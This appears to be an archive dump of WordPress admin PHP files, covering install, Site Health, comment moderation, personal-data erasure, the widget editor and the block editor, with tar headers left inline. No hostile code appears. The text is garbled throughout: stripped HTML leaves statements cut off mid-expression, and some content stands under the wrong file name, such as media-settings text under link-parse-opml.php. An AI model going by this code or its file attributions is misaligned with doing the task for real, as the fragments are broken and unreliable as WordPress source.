' . sprintf( /* translators: %s: wp-config.php */ __( 'Your %s file has an empty database table prefix, which is not supported.' ), 'wp-config.php' ) . '

' ); } // Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install. if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { display_header(); die( '

' . __( 'Configuration Error' ) . '

' . '

' . sprintf( /* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */ __( 'The constant %s cannot be defined when installing WordPress.' ), 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) . '

' ); } /** * @global string $wp_local_package Locale code of the package. * @global WP_Locale $wp_locale WordPress date and time locale object. * @global wpdb $wpdb WordPress database abstraction object. */ $language = ''; if ( ! empty( $_REQUEST['language'] ) ) { $language = sanitize_locale_name( $_REQUEST['language'] ); } elseif ( isset( $GLOBALS['wp_local_package'] ) ) { $language = $GLOBALS['wp_local_package']; } $scripts_to_print = array( 'jquery' ); switch ( $step ) { case 0: // Step 0. if ( wp_can_install_language_pack() && empty( $language ) ) { $languages = wp_get_available_translations(); if ( $languages ) { $scripts_to_print[] = 'language-chooser'; display_header( 'language-chooser' ); echo '
'; wp_install_language_form( $languages ); echo '
'; break; } } // Deliberately fall through if we can't reach the translations API. case 1: // Step 1, direct link or from language chooser. if ( ! empty( $language ) ) { $loaded_language = wp_download_language_pack( $language ); if ( $loaded_language ) { load_default_textdomain( $loaded_language ); $GLOBALS['wp_locale'] = new WP_Locale(); } } $scripts_to_print[] = 'user-profile'; display_header(); ?>

error ) ) { wp_die( $wpdb->error->get_error_message() ); } $scripts_to_print[] = 'user-profile'; display_header(); // Fill in the data we gathered. $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_password = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : ''; $admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; $public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1; // Check email address. $error = false; if ( empty( $user_name ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Please provide a valid username.' ) ); $error = true; } elseif ( sanitize_user( $user_name, true ) !== $user_name ) { display_setup_form( __( 'The username you provided has invalid characters.' ) ); $error = true; } elseif ( $admin_password !== $admin_password_check ) { // TODO: Poka-yoke. display_setup_form( __( 'Your passwords do not match. Please try again.' ) ); $error = true; } elseif ( empty( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'You must provide an email address.' ) ); $error = true; } elseif ( ! is_email( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like username@example.com.' ) ); $error = true; } if ( false === $error ) { $wpdb->show_errors(); $result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language ); ?>


site-health.php000064400000024273152506513310007475 0ustar00 _x( 'Status', 'Site Health' ), /* translators: Tab heading for Site Health Info page. */ 'debug' => _x( 'Info', 'Site Health' ), ); /** * Filters the extra tabs for the Site Health navigation bar. * * Add a custom page to the Site Health screen, based on a tab slug and label. * The label you provide will also be used as part of the site title. * * @since 5.8.0 * * @param string[] $tabs An associative array of tab labels keyed by their slug. */ $tabs = apply_filters( 'site_health_navigation_tabs', $tabs ); $wrapper_classes = array( 'health-check-tabs-wrapper', 'hide-if-no-js', 'tab-count-' . count( $tabs ), ); $current_tab = $_GET['tab'] ?? ''; $title = sprintf( // translators: %s: The currently displayed tab. __( 'Site Health - %s' ), ( isset( $tabs[ $current_tab ] ) ? esc_html( $tabs[ $current_tab ] ) : esc_html( reset( $tabs ) ) ) ); if ( ! current_user_can( 'view_site_health_checks' ) ) { wp_die( __( 'Sorry, you are not allowed to access site health information.' ), '', 403 ); } wp_enqueue_style( 'site-health' ); wp_enqueue_script( 'site-health' ); if ( ! class_exists( 'WP_Site_Health' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php'; } if ( 'update_https' === $action ) { check_admin_referer( 'wp_update_https' ); if ( ! current_user_can( 'update_https' ) ) { wp_die( __( 'Sorry, you are not allowed to update this site to HTTPS.' ), 403 ); } if ( ! wp_is_https_supported() ) { wp_die( __( 'It looks like HTTPS is not supported for your website at this point.' ) ); } $result = wp_update_urls_to_https(); wp_redirect( add_query_arg( 'https_updated', (int) $result, wp_get_referer() ) ); exit; } $health_check_site_status = WP_Site_Health::get_instance(); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen allows you to obtain a health diagnosis of your site, and displays an overall rating of the status of your installation.' ) . '

' . '

' . __( 'In the Status tab, you can see critical information about your WordPress configuration, along with anything else that requires your attention.' ) . '

' . '

' . __( 'In the Info tab, you will find all the details about the configuration of your WordPress site, server, and database. There is also an export feature that allows you to copy all of the information about your site to the clipboard, to help solve problems on your site when obtaining support.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Site Health tool' ) . '

' ); // Start by checking if this is a special request checking for the existence of certain filters. $health_check_site_status->check_wp_version_check_exists(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'success', 'id' => 'message', 'dismissible' => true, ) ); } else { wp_admin_notice( __( 'Site URLs could not be switched to HTTPS.' ), array( 'type' => 'error', 'id' => 'message', 'dismissible' => true, ) ); } } ?>

'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?>

comment_post_ID ) ) { wp_die( __( 'You cannot edit this comment because the associated post is in the Trash. Please restore the post first, then try again.' ) ); } } else { $comment_id = 0; $comment = null; } switch ( $action ) { case 'editcomment': // Used in the HTML title tag. $title = __( 'Edit Comment' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error.' ) . '

' . '

' . __( 'You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Comments' ) . '

' . '

' . __( 'Support forums' ) . '

' ); wp_enqueue_script( 'comment' ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( ! $comment ) { comment_footer_die( __( 'Invalid comment ID.' ) . sprintf( ' ' . __( 'Go back' ) . '.', 'javascript:history.go(-1)' ) ); } if ( ! current_user_can( 'edit_comment', $comment_id ) ) { comment_footer_die( __( 'Sorry, you are not allowed to edit this comment.' ) ); } if ( 'trash' === $comment->comment_approved ) { comment_footer_die( __( 'This comment is in the Trash. Please move it out of the Trash if you want to edit it.' ) ); } $comment = get_comment_to_edit( $comment_id ); require ABSPATH . 'wp-admin/edit-form-comment.php'; break; case 'delete': case 'approve': case 'trash': case 'spam': // Used in the HTML title tag. $title = __( 'Moderate Comment' ); if ( ! $comment ) { wp_redirect( admin_url( 'edit-comments.php?error=1' ) ); die(); } if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { wp_redirect( admin_url( 'edit-comments.php?error=2' ) ); die(); } // No need to re-approve/re-trash/re-spam a comment. if ( str_replace( '1', 'approve', $comment->comment_approved ) === $action ) { wp_redirect( admin_url( 'edit-comments.php?same=' . $comment_id ) ); die(); } require_once ABSPATH . 'wp-admin/admin-header.php'; $formaction = $action . 'comment'; $nonce_action = ( 'approve' === $action ) ? 'approve-comment_' : 'delete-comment_'; $nonce_action .= $comment_id; ?>

comment_approved ) { // If not unapproved. $message = ''; switch ( $comment->comment_approved ) { case '1': $message = __( 'This comment is currently approved.' ); break; case 'spam': $message = __( 'This comment is currently marked as spam.' ); break; case 'trash': $message = __( 'This comment is currently in the Trash.' ); break; } if ( $message ) { wp_admin_notice( $message, array( 'type' => 'info', 'id' => 'message', ) ); } } wp_admin_notice( '' . __( 'Caution:' ) . ' ' . $caution_msg, array( 'type' => 'warning', 'id' => 'message', ) ); ?>
comment_post_ID; if ( current_user_can( 'edit_post', $post_id ) ) { $post_link = ""; $post_link .= esc_html( get_the_title( $post_id ) ) . ''; } else { $post_link = esc_html( get_the_title( $post_id ) ); } echo $post_link; if ( $comment->comment_parent ) { $parent = get_comment( $comment->comment_parent ); $parent_link = esc_url( get_comment_link( $parent ) ); $name = get_comment_author( $parent ); printf( /* translators: %s: Comment link. */ ' | ' . __( 'In reply to %s.' ), '' . $name . '' ); } ?>
comment_post_ID ) ) { echo '' . $submitted . ''; } else { echo $submitted; } ?>

comment_ID}" ) ); ?>">

' . __( 'Go back' ) . '.', 'edit-comments.php' ) ); } if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { comment_footer_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) ); } if ( wp_get_referer() && ! $noredir && ! str_contains( wp_get_referer(), 'comment.php' ) ) { $redir = wp_get_referer(); } elseif ( wp_get_original_referer() && ! $noredir ) { $redir = wp_get_original_referer(); } elseif ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ), true ) ) { $redir = admin_url( 'edit-comments.php?p=' . absint( $comment->comment_post_ID ) ); } else { $redir = admin_url( 'edit-comments.php' ); } $redir = remove_query_arg( array( 'spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids', 'approved', 'unapproved' ), $redir ); switch ( $action ) { case 'deletecomment': wp_delete_comment( $comment ); $redir = add_query_arg( array( 'deleted' => '1' ), $redir ); break; case 'trashcomment': wp_trash_comment( $comment ); $redir = add_query_arg( array( 'trashed' => '1', 'ids' => $comment_id, ), $redir ); break; case 'untrashcomment': wp_untrash_comment( $comment ); $redir = add_query_arg( array( 'untrashed' => '1' ), $redir ); break; case 'spamcomment': wp_spam_comment( $comment ); $redir = add_query_arg( array( 'spammed' => '1', 'ids' => $comment_id, ), $redir ); break; case 'unspamcomment': wp_unspam_comment( $comment ); $redir = add_query_arg( array( 'unspammed' => '1' ), $redir ); break; case 'approvecomment': wp_set_comment_status( $comment, 'approve' ); $redir = add_query_arg( array( 'approved' => 1 ), $redir ); break; case 'unapprovecomment': wp_set_comment_status( $comment, 'hold' ); $redir = add_query_arg( array( 'unapproved' => 1 ), $redir ); break; } wp_redirect( $redir ); die; case 'editedcomment': $comment_id = absint( $_POST['comment_ID'] ); $comment_post_id = absint( $_POST['comment_post_ID'] ); check_admin_referer( 'update-comment_' . $comment_id ); $updated = edit_comment(); if ( is_wp_error( $updated ) ) { wp_die( $updated->get_error_message() ); } $location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id; /** * Filters the URI the user is redirected to after editing a comment in the admin. * * @since 2.1.0 * * @param string $location The URI the user will be redirected to. * @param int $comment_id The ID of the comment being edited. */ $location = apply_filters( 'comment_edit_redirect', $location, $comment_id ); wp_redirect( $location ); exit; default: wp_die( __( 'Unknown action.' ) ); } // End switch. require_once ABSPATH . 'wp-admin/admin-footer.php'; erase-personal-data.php000064400000016521152506513310011112 0ustar00add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen is where you manage requests to erase personal data.' ) . '

' . '

' . __( 'Privacy Laws around the world require businesses and online services to delete, anonymize, or forget the data they collect about an individual. The rights those laws enshrine are sometimes called the "Right to be Forgotten".' ) . '

' . '

' . __( 'The tool associates data stored in WordPress with a supplied email address, including profile data and comments.' ) . '

' . '

' . __( 'Note: As this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with erasure requests. For example, you are also responsible for ensuring that data collected by or stored with the 3rd party services your organization uses gets deleted.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'default-data', 'title' => __( 'Default Data' ), 'content' => '

' . __( 'WordPress collects (but never publishes) a limited amount of data from logged-in users but then deletes it or anonymizes it. That data can include:' ) . '

' . '

' . __( 'Profile Information — user email address, username, display name, nickname, first name, last name, description/bio, and registration date.' ) . '

' . '

' . __( 'Community Events Location — The IP Address of the user which is used for the Upcoming Community Events shown in the dashboard widget.' ) . '

' . '

' . __( 'Session Tokens — User login information, IP Addresses, Expiration Date, User Agent (Browser/OS), and Last Login.' ) . '

' . '

' . __( 'Comments — WordPress does not delete comments. The software does anonymize (but, again, never publishes) the associated Email Address, IP Address, and User Agent (Browser/OS).' ) . '

' . '

' . __( 'Media — A list of URLs for all media file uploads made by the user.' ) . '

', ) ); $privacy_policy_guide = '

' . sprintf( /* translators: %s: URL to Privacy Policy Guide screen. */ __( 'If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Eraser tool. This information may be available in the Privacy Policy Guide.' ), admin_url( 'options-privacy.php?tab=policyguide' ) ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'plugin-data', 'title' => __( 'Plugin Data' ), 'content' => '

' . __( 'Many plugins may collect or store personal data either in the WordPress database or remotely. Any Erase Personal Data request should delete data from plugins as well.' ) . '

' . $privacy_policy_guide . '

' . __( 'If you are a plugin author, you can learn more about how to add the Personal Data Eraser to a plugin.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Erase Personal Data' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // Handle list table actions. _wp_personal_data_handle_actions(); // Cleans up failed and expired requests before displaying the list table. _wp_personal_data_cleanup_requests(); wp_enqueue_script( 'privacy-tools' ); add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'remove_personal_data_requests_per_page', ) ); $_list_table_args = array( 'plural' => 'privacy_requests', 'singular' => 'privacy_request', ); $requests_table = _get_list_table( 'WP_Privacy_Data_Removal_Requests_List_Table', $_list_table_args ); $requests_table->screen->set_screen_reader_content( array( 'heading_views' => __( 'Filter erase personal data list' ), 'heading_pagination' => __( 'Erase personal data list navigation' ), 'heading_list' => __( 'Erase personal data list' ), ) ); $requests_table->process_bulk_action(); $requests_table->prepare_items(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>



views(); ?>
search_box( __( 'Search Requests' ), 'requests' ); ?>
display(); $requests_table->embed_scripts(); ?>
is_block_editor( true ); $block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/edit-widgets' ) ); $preload_paths = array( array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ), '/wp/v2/widget-types?context=edit&per_page=-1', '/wp/v2/sidebars?context=edit&per_page=-1', '/wp/v2/widgets?context=edit&per_page=-1&_embed=about', ); block_editor_rest_api_preload( $preload_paths, $block_editor_context ); $editor_settings = get_block_editor_settings( array_merge( get_legacy_widget_block_editor_settings(), array( 'styles' => get_block_editor_theme_styles() ) ), $block_editor_context ); // The widgets editor does not support the Block Directory, so don't load any of // its assets. This also prevents 'wp-editor' from being enqueued which we // cannot load in the widgets screen because many widget scripts rely on `wp.editor`. remove_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' ); wp_add_inline_script( 'wp-edit-widgets', sprintf( 'wp.domReady( function() { wp.editWidgets.initialize( "widgets-editor", %s ); } );', wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); wp_enqueue_script( 'wp-edit-widgets' ); wp_enqueue_script( 'admin-widgets' ); wp_enqueue_style( 'wp-edit-widgets' ); /** This action is documented in wp-admin/edit-form-blocks.php */ do_action( 'enqueue_block_editor_assets' ); /** This action is documented in wp-admin/widgets-form.php */ do_action( 'sidebar_admin_setup' ); require_once ABSPATH . 'wp-admin/admin-header.php'; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'widgets_admin_page' ); ?>

Classic Widgets plugin.' ), esc_url( $plugin_activate_url ) ); } else { // If Classic Widgets is not installed, provide a link to install it. $installed = false; $plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-widgets' ), 'install-plugin_classic-widgets' ); $message = sprintf( /* translators: %s: A link to install the Classic Widgets plugin. */ __( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or install the Classic Widgets plugin.' ), esc_url( $plugin_install_url ) ); } /** * Filters the message displayed in the block widget interface when JavaScript is * not enabled in the browser. * * @since 6.4.0 * * @param string $message The message being displayed. * @param bool $installed Whether the Classic Widget plugin is installed. */ $message = apply_filters( 'block_widgets_no_javascript_message', $message, $installed ); wp_admin_notice( $message, array( 'type' => 'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?>
$post ) ); // Flag that we're loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( true ); // Default to is-fullscreen-mode to avoid jumps in the UI. add_filter( 'admin_body_class', static function ( $classes ) { return "$classes is-fullscreen-mode"; } ); /* * Emoji replacement is disabled for now, until it plays nicely with React. */ remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); /* * Block editor implements its own Options menu for toggling Document Panels. */ add_filter( 'screen_options_show_screen', '__return_false' ); wp_enqueue_script( 'heartbeat' ); wp_enqueue_script( 'wp-edit-post' ); $rest_path = rest_get_route_for_post( $post ); $active_theme = get_stylesheet(); $global_styles_endpoint_context = current_user_can( 'edit_theme_options' ) ? 'edit' : 'view'; $template_lookup_slug = 'page' === $post->post_type ? 'page' : 'single-' . $post->post_type; if ( ! empty( $post->post_name ) ) { $template_lookup_slug .= '-' . $post->post_name; } // Preload common data. $preload_paths = array( '/wp/v2/types?context=view', '/wp/v2/taxonomies?context=view', add_query_arg( 'context', 'edit', $rest_path ), sprintf( '/wp/v2/types/%s?context=edit', $post_type ), '/wp/v2/users/me', array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ), array( rest_get_route_for_post_type_items( 'page' ), 'OPTIONS' ), array( rest_get_route_for_post_type_items( 'wp_block' ), 'OPTIONS' ), array( rest_get_route_for_post_type_items( 'wp_template' ), 'OPTIONS' ), sprintf( '%s/autosaves?context=edit', $rest_path ), '/wp/v2/settings', array( '/wp/v2/settings', 'OPTIONS' ), '/wp/v2/global-styles/themes/' . $active_theme . '?context=view', '/wp/v2/global-styles/themes/' . $active_theme . '/variations?context=view', '/wp/v2/themes?context=edit&status=active', array( '/wp/v2/global-styles/' . WP_Theme_JSON_Resolver::get_user_global_styles_post_id(), 'OPTIONS' ), /* * Preload the global styles path with the correct context based on user caps. * NOTE: There is an equivalent conditional check in the client-side code to fetch * the global styles entity using the appropriate context value. * See the call to `canUser()`, under `useGlobalStylesUserConfig()` in `packages/edit-site/src/components/use-global-styles-user-config/index.js`. * Please ensure that the equivalent check is kept in sync with this preload path. */ '/wp/v2/global-styles/' . WP_Theme_JSON_Resolver::get_user_global_styles_post_id() . '?context=' . $global_styles_endpoint_context, // Used by getBlockPatternCategories in useBlockEditorSettings. '/wp/v2/block-patterns/categories', /** * The preloaded URL must exactly match the request the client makes, * including the field order. * @link https://github.com/WordPress/gutenberg/blob/trunk/packages/core-data/src/entities.js */ '/?_fields=' . implode( ',', array( 'description', 'gmt_offset', 'home', 'image_max_bit_depth', 'image_sizes', 'image_size_threshold', 'image_strip_meta', 'name', 'site_icon', 'site_icon_url', 'site_logo', 'timezone_string', 'url', 'page_for_posts', 'page_on_front', 'show_on_front', ) ), add_query_arg( 'slug', // @link https://github.com/WordPress/gutenberg/blob/e093fefd041eb6cc4a4e7f67b92ab54fd75c8858/packages/core-data/src/private-selectors.ts#L244-L254 $template_lookup_slug, '/wp/v2/templates/lookup' ), '/wp/v2/templates/lookup?slug=front-page', '/wp/v2/taxonomies?context=edit', array( rest_get_route_for_post_type_items( $post_type ), 'OPTIONS' ), ); if ( post_type_supports( $post_type, 'author' ) && $post->post_author > 0 ) { $preload_paths[] = sprintf( '/wp/v2/users/%d?context=view&_fields=id,name', (int) $post->post_author ); } block_editor_rest_api_preload( $preload_paths, $block_editor_context ); wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $post ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); /* * Assign initial edits, if applicable. These are not initially assigned to the persisted post, * but should be included in its save payload. */ $initial_edits = array(); $is_new_post = false; if ( 'auto-draft' === $post->post_status ) { $is_new_post = true; // Override "(Auto Draft)" new post default title with empty string, or filtered value. if ( post_type_supports( $post->post_type, 'title' ) ) { $initial_edits['title'] = $post->post_title; } if ( post_type_supports( $post->post_type, 'editor' ) ) { $initial_edits['content'] = $post->post_content; } if ( post_type_supports( $post->post_type, 'excerpt' ) ) { $initial_edits['excerpt'] = $post->post_excerpt; } } // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } // Get admin url for handling meta boxes. $meta_box_url = admin_url( 'post.php' ); $meta_box_url = add_query_arg( array( 'post' => $post->ID, 'action' => 'edit', 'meta-box-loader' => true, 'meta-box-loader-nonce' => wp_create_nonce( 'meta-box-loader' ), ), $meta_box_url ); wp_add_inline_script( 'wp-editor', sprintf( 'var _wpMetaBoxUrl = %s;', wp_json_encode( $meta_box_url, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'before' ); // Set Heartbeat interval to 10 seconds, used to refresh post locks. wp_add_inline_script( 'heartbeat', 'jQuery( function() { wp.heartbeat.interval( 10 ); } );', 'after' ); /* * Get all available templates for the post/page attributes meta-box. * The "Default template" array element should only be added if the array is * not empty so we do not trigger the template select element without any options * besides the default value. */ $available_templates = wp_get_theme()->get_page_templates( get_post( $post->ID ) ); $available_templates = ! empty( $available_templates ) ? array_replace( array( /** This filter is documented in wp-admin/includes/meta-boxes.php */ '' => apply_filters( 'default_page_template_title', __( 'Default template' ), 'rest-api' ), ), $available_templates ) : $available_templates; // Lock settings. $user_id = wp_check_post_lock( $post->ID ); if ( $user_id ) { $locked = false; /** This filter is documented in wp-admin/includes/post.php */ if ( apply_filters( 'show_post_locked_dialog', true, $post, $user_id ) ) { $locked = true; } $user_details = null; if ( $locked ) { $user = get_userdata( $user_id ); $user_details = array( 'name' => $user->display_name, ); if ( get_option( 'show_avatars' ) ) { $user_details['avatar'] = get_avatar_url( $user_id, array( 'size' => 128 ) ); } } $lock_details = array( 'isLocked' => $locked, 'user' => $user_details, ); } else { // Lock the post. $active_post_lock = wp_set_post_lock( $post->ID ); if ( $active_post_lock ) { $active_post_lock = esc_attr( implode( ':', $active_post_lock ) ); } $lock_details = array( 'isLocked' => false, 'activePostLock' => $active_post_lock, ); } /** * Filters the body placeholder text. * * @since 5.0.0 * @since 5.8.0 Changed the default placeholder text. * * @param string $text Placeholder text. Default 'Type / to choose a block'. * @param WP_Post $post Post object. */ $body_placeholder = apply_filters( 'write_your_story', __( 'Type / to choose a block' ), $post ); $editor_settings = array( 'availableTemplates' => $available_templates, 'disablePostFormats' => ! current_theme_supports( 'post-formats' ), /** This filter is documented in wp-admin/edit-form-advanced.php */ 'titlePlaceholder' => apply_filters( 'enter_title_here', __( 'Add title' ), $post ), 'bodyPlaceholder' => $body_placeholder, 'autosaveInterval' => AUTOSAVE_INTERVAL, 'richEditingEnabled' => user_can_richedit(), 'postLock' => $lock_details, 'postLockUtils' => array( 'nonce' => wp_create_nonce( 'lock-post_' . $post->ID ), 'unlockNonce' => wp_create_nonce( 'update-post_' . $post->ID ), 'ajaxUrl' => admin_url( 'admin-ajax.php' ), ), 'supportsLayout' => wp_theme_has_theme_json(), 'supportsTemplateMode' => current_theme_supports( 'block-templates' ), // Whether or not to load the 'postcustom' meta box is stored as a user meta // field so that we're not always loading its assets. 'enableCustomFields' => (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ), ); // Add additional back-compat patterns registered by `current_screen` et al. $editor_settings['__experimentalAdditionalBlockPatterns'] = WP_Block_Patterns_Registry::get_instance()->get_all_registered( true ); $editor_settings['__experimentalAdditionalBlockPatternCategories'] = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered( true ); $autosave = wp_get_post_autosave( $post->ID ); if ( $autosave ) { if ( mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) { $editor_settings['autosave'] = array( 'editLink' => get_edit_post_link( $autosave->ID ), ); } else { wp_delete_post_revision( $autosave->ID ); } } if ( ! empty( $post_type_object->template ) ) { $editor_settings['template'] = $post_type_object->template; $editor_settings['templateLock'] = ! empty( $post_type_object->template_lock ) ? $post_type_object->template_lock : false; } // If there's no template set on a new post, use the post format, instead. if ( $is_new_post && ! isset( $editor_settings['template'] ) && 'post' === $post->post_type ) { $post_format = get_post_format( $post ); if ( in_array( $post_format, array( 'audio', 'gallery', 'image', 'quote', 'video' ), true ) ) { $editor_settings['template'] = array( array( "core/$post_format" ) ); } } if ( wp_is_block_theme() && $editor_settings['supportsTemplateMode'] ) { $editor_settings['defaultTemplatePartAreas'] = get_allowed_block_template_part_areas(); } /** * Scripts */ wp_enqueue_media( array( 'post' => $post->ID, ) ); wp_tinymce_inline_scripts(); wp_enqueue_editor(); /** * Styles */ wp_enqueue_style( 'wp-edit-post' ); /** * Fires after block assets have been enqueued for the editing interface. * * Call `add_action` on any hook before 'admin_enqueue_scripts'. * * In the function call you supply, simply use `wp_enqueue_script` and * `wp_enqueue_style` to add your functionality to the block editor. * * @since 5.0.0 */ do_action( 'enqueue_block_editor_assets' ); // In order to duplicate classic meta box behavior, we need to run the classic meta box actions. require_once ABSPATH . 'wp-admin/includes/meta-boxes.php'; register_and_do_post_meta_boxes( $post ); // Check if the Custom Fields meta box has been removed at some point. $core_meta_boxes = $wp_meta_boxes[ $current_screen->id ]['normal']['core']; if ( ! isset( $core_meta_boxes['postcustom'] ) || ! $core_meta_boxes['postcustom'] ) { unset( $editor_settings['enableCustomFields'] ); } $editor_settings = get_block_editor_settings( $editor_settings, $block_editor_context ); $init_script = <<post_type, $post->ID, wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $initial_edits, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-edit-post', $script ); if ( (int) get_option( 'page_for_posts' ) === $post->ID ) { add_action( 'admin_enqueue_scripts', '_wp_block_editor_posts_page_notice' ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

Classic Editor plugin.' ), esc_url( $plugin_activate_url ) ); } else { // If Classic Editor is not installed, provide a link to install it. $installed = false; $plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-editor' ), 'install-plugin_classic-editor' ); $message = sprintf( /* translators: %s: Link to install the Classic Editor plugin. */ __( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or install the Classic Editor plugin.' ), esc_url( $plugin_install_url ) ); } /** * Filters the message displayed in the block editor interface when JavaScript is * not enabled in the browser. * * @since 5.0.3 * @since 6.4.0 Added `$installed` parameter. * * @param string $message The message being displayed. * @param WP_Post $post The post being edited. * @param bool $installed Whether the classic editor is installed. */ $message = apply_filters( 'block_editor_no_javascript_message', $message, $post, $installed ); wp_admin_notice( $message, array( 'type' => 'error', ) ); ?>
link-parse-opml.php000064400000005241152506513310010272 0ustar00' . __( 'You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size.' ) . '

'; if ( ! is_multisite() && ( get_option( 'upload_url_path' ) || get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' ) ) ) { $media_options_help .= '

' . __( 'Uploading Files allows you to choose the folder and path for storing your uploaded files.' ) . '

'; } $media_options_help .= '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $media_options_help, ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Media Settings' ) . '

' . '

' . __( 'Support forums' ) . '

' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

edit-tag-form.php000064400000024642152506513310007725 0ustar00

labels->edit_item; ?>

' . $message . '

'; if ( $wp_http_referer ) { $message .= sprintf( '

%2$s

